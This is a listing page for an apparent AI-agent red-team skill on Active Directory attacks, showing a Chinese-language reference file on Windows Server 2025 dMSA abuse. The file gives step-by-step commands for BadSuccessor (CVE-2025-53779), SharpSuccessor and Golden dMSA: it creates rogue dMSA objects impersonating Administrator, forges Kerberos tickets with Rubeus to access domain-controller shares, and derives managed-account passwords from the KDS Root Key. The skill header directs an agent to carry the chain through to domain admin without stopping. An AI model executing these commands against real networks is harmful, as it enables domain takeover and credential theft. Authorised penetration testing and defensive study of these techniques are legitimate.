pale-knight/redteam-skill / skills/ad-attack
ad-attack
VerifiedActive Directory exploitation after domain credentials exist: Kerberos (AS-REP/Kerberoast including cracking the ticket then using the account), delegation, NTLM coercion/relay, lateral movement, ACL abuse, ADCS ESC1-ESC17 and CVE paths, dMSA/BadSuccessor, Kerberos reflection, identity confusion, management-plane, domain trust, and domain persistence. Own the current AD chain through crack-and-use to DA, equivalent domain control, or the targeted host SYSTEM. Do not stop after requesting TGS. Host C2 belongs to /post. Operator chooses next modules.
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 6.3 KB |
| references/acl-abuse.md | markdown | 3.6 KB |
| references/adcs.md | markdown | 13.9 KB |
| references/auth-reflection.md | markdown | 4.5 KB |
| references/authentication-coercion-relay.md | markdown | 6.6 KB |
| references/dmsa.md | markdown | 6.1 KB |
| references/identity-confusion.md | markdown | 3.6 KB |
| references/kerberos-attacks.md | markdown | 2.9 KB |
| references/lateral-movement.md | markdown | 2.0 KB |
| references/management-plane.md | markdown | 2.1 KB |
references/dmsa.md
View on GitHub# Windows Server 2025 dMSA 攻击
适用:Windows Server 2025 Active Directory。这里区分三条完全不同的路径:
```
Legacy BadSuccessor(CVE-2025-53779修补前)
Post-patch dMSA Account Takeover(SharpSuccessor)
Golden dMSA(已取得KDS Root Key后的离线密码派生)
```
不要把三者都简化成“dMSA = 域管”。
---
## 0. 从 /ad-recon 接收的条件
至少先确认:
```
Windows Server 2025 DC存在
可创建dMSA的OU / CreateChild / GenericAll
是否还能写目标User/Computer对象
DC是否已安装CVE-2025-53779对应修复
是否已经取得KDS Root Key(Golden dMSA)
```
快速复核:
```
nxc ldap DC-IP -u jen -p 'pass' -M badsuccessor
```
如果没有 Server 2025 DC:停止该路径。
---
## 1. Legacy BadSuccessor — PRE-PATCH ONLY
状态:**仅用于未修补CVE-2025-53779的Server 2025 DC / 老靶场。**
公开实现:`ibaiC/BadSuccessor`
### 枚举可利用OU
Windows:
```cmd
BadSuccessor.exe find
```
典型目标:当前主体可以在其中创建dMSA对象的OU。
### 创建恶意dMSA
机器账户作为允许检索密码主体:
```cmd
BadSuccessor.exe escalate ^
-targetOU "OU=Servers,DC=corp,DC=local" ^
-dmsa backup_svc ^
-targetUser "CN=Administrator,CN=Users,DC=corp,DC=local" ^
-dnshostname backup_svc ^
-machine BRAAVOS$ ^
-dc-ip 10.10.10.10
```
或用户主体:
```cmd
BadSuccessor.exe escalate ^
-targetOU "OU=Servers,DC=corp,DC=local" ^
-dmsa backup_svc ^
-targetUser "CN=Administrator,CN=Users,DC=corp,DC=local" ^
-dnshostname backup_svc ^
-user jen ^
-dc-ip 10.10.10.10
```
关键成功条件:新dMSA对象创建成功,并建立目标账户迁移/前任关系。
### 后续Kerberos
需要支持dMSA的Rubeus版本。
先从当前可认证主体得到TGT:
```cmd
Rubeus.exe tgtdeleg /nowrap
```
再请求dMSA的krbtgt票据:
```cmd
Rubeus.exe asktgs ^
/targetuser:backup_svc$ ^
/service:krbtgt/corp.local ^
/dmsa ^
/dc:DC01.corp.local ^
/opsec ^
/nowrap ^
/ptt ^
/ticket:<BASE64_TGT>
```
得到dMSA票据后请求实际服务票据:
```cmd
Rubeus.exe asktgs ^
/user:backup_svc$ ^
/service:cifs/DC01.corp.local ^
/dmsa ^
/opsec ^
/nowrap ^
/ptt ^
/ticket:<DMSA_TICKET>
```
验证:
```cmd
klist
dir \\DC01.corp.local\c$
```
### 清理
记录创建的dMSA名称和OU。测试完成:
```cmd
BadSuccessor.exe del backup_svc "OU=Servers,DC=corp,DC=local"
```
**不要在已修补环境继续把“可写OU”直接判断为任意账户接管。**
---
## 2. Post-patch dMSA Account Takeover — SharpSuccessor
状态:**CVE-2025-53779修补后仍可能成立,但前置条件更高。**
公开实现:`logangoins/SharpSuccessor`
核心前置:
```
CreateChild on 某OU
+
对目标User/Computer对象有写权限
```
也就是说:
```
可创建dMSA OU而不能写目标对象
→ patch后通常不够
可创建dMSA OU + 可写目标对象
→ 进入SharpSuccessor验证
```
### 创建并weaponize dMSA
```cmd
SharpSuccessor.exe add ^
/impersonate:Administrator ^
/path:"OU=Test,DC=corp,DC=local" ^
/account:jen ^
/name:attacker_dMSA
```
这里 `/account:jen` 是当前可认证、用于后续票据流程的主体。
### 获取当前主体TGT
```cmd
Rubeus.exe tgtdeleg /nowrap
```
复制输出的Base64 TGT。
### 请求dMSA TGT
```cmd
Rubeus.exe asktgs ^
/targetuser:attacker_dmsa$ ^
/service:krbtgt/corp.local ^
/opsec ^
/dmsa ^
/nowrap ^
/ptt ^
/ticket:<BASE64_TGT>
```
成功后会得到带被冒充账户上下文的dMSA票据。
### 请求目标服务票据
SMB:
```cmd
Rubeus.exe asktgs ^
/user:attacker_dmsa$ ^
/service:cifs/DC01.corp.local ^
/opsec ^
/dmsa ^
/nowrap ^
/ptt ^
/ticket:<DMSA_TICKET>
```
验证:
```cmd
klist
dir \\DC01.corp.local\c$
```
如果目标并非Administrator,按目标真实权限选择服务,不要固定假设一定可访问DC管理共享。
### 清理/恢复
SharpSuccessor会创建dMSA并修改目标相关迁移属性。执行前先记录:
```
新建dMSA DN
目标对象原始dMSA相关属性
```
HTB/CTF优先依赖靶场reset/snapshot恢复;真实授权环境只有在ROE允许目录对象修改时才验证,并按测试前记录恢复。
---
## 3. Golden dMSA — 已取得KDS Root Key
公开实现:`Semperis/GoldenDMSA`
这不是低权限初始提权。前置是已经得到KDS Root Key,属于post-compromise能力。
攻击逻辑:
```
KDS Root Key
↓
枚举dMSA/gMSA SID + ManagedPasswordID
↓
离线计算/猜测ManagedPasswordID
↓
生成有效managed account密码
↓
转换为NTLM/AES key
```
### 枚举dMSA/gMSA
LDAP方式:
```cmd
GoldendMSA.exe info -d corp.local -m ldap
```
也支持RID brute模式:
```cmd
GoldendMSA.exe info -d corp.local -m brute -u jen -p Password123! -o corp.local -r <RID>
```
### 获取KDS Root Key信息
Enterprise Admin权限:
```cmd
GoldendMSA.exe kds
GoldendMSA.exe kds -g <KDS_ROOT_KEY_GUID>
```
如果已经在DC上获得SYSTEM:
```cmd
GoldendMSA.exe kds --domain corp.local
```
### 生成ManagedPasswordID候选
```cmd
GoldendMSA.exe wordlist ^
-s <DMSA_SID> ^
-d corp.local ^
-f corp.local ^
-k <KDS_ROOT_KEY_ID>
```
### 已知ManagedPasswordID时直接计算
```cmd
GoldendMSA.exe compute ^
-s <DMSA_SID> ^
-k <KDS_ROOT_KEY> ^
-d corp.local ^
-m <MANAGED_PASSWORD_ID>
```
### brute-force dMSA密码
```cmd
GoldendMSA.exe bruteforce ^
-s <DMSA_SID> ^
-i <KDS_ROOT_KEY_ID> ^
-k <KDS_ROOT_KEY> ^
-d corp.local ^
-u svc_backup$ ^
-t
```
### 转换为可用Kerberos/NTLM key
```cmd
GoldendMSA.exe convert ^
-d corp.local ^
-u svc_backup$ ^
-p <BASE64_PASSWORD>
```
输出通常包含NTLM/AES128/AES256材料,再按已有PTH/PTT/Kerberos流程使用。
---
## 4. 决策速查
```
Server 2025 DC?
否 → 退出dMSA模块
是
↓
可创建dMSA OU?
否 → 只枚举已有dMSA / 等其他路径
是
↓
DC未修补CVE-2025-53779?
是 → Legacy BadSuccessor可测试
否
↓
还能写目标User/Computer?
是 → SharpSuccessor post-patch takeover
否 → 不把它判为可利用
已取得KDS Root Key?
是 → Golden dMSA独立路径
```
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| planning-and-task-breakdownaddyosmani/agent-skillsBreaks work into ordered tasks. Use when you have a spec or clear requirements and need to break work into implementable tasks. Use when a task feels too large to start, when you need to estimate scope, or when parallel work is possible. | Stars: 119k | Updated | Claude CodeCodex | Verified | Install |
| screenpipethedotmack/claude-memSearch screen and audio history recorded by Screenpipe and optionally save selected context into claude-mem. Use when the user asks to recall desktop activity, a meeting, or something seen in another app through Screenpipe. | Stars: 118k | Updated | Claude CodeCodex | Verified | Install |
| contact-widgetnexu-io/open-designSelf-contained floating chat widget with welcome screen, social links, meeting button, and message input. Single HTML file, zero dependencies. | Stars: 108k | Updated | Claude CodeCodex | Verified | Install |
| meeting-notesnexu-io/open-designMeeting notes page — title bar with attendees, agenda checklist, decisions block, action items table with owners + dates, and a "next meeting" footer. Use when the brief mentions "meeting notes", "minutes", "1:1 notes", "all-hands recap", or "会议纪要". | Stars: 108k | Updated | Claude CodeCodex | Verified | Install |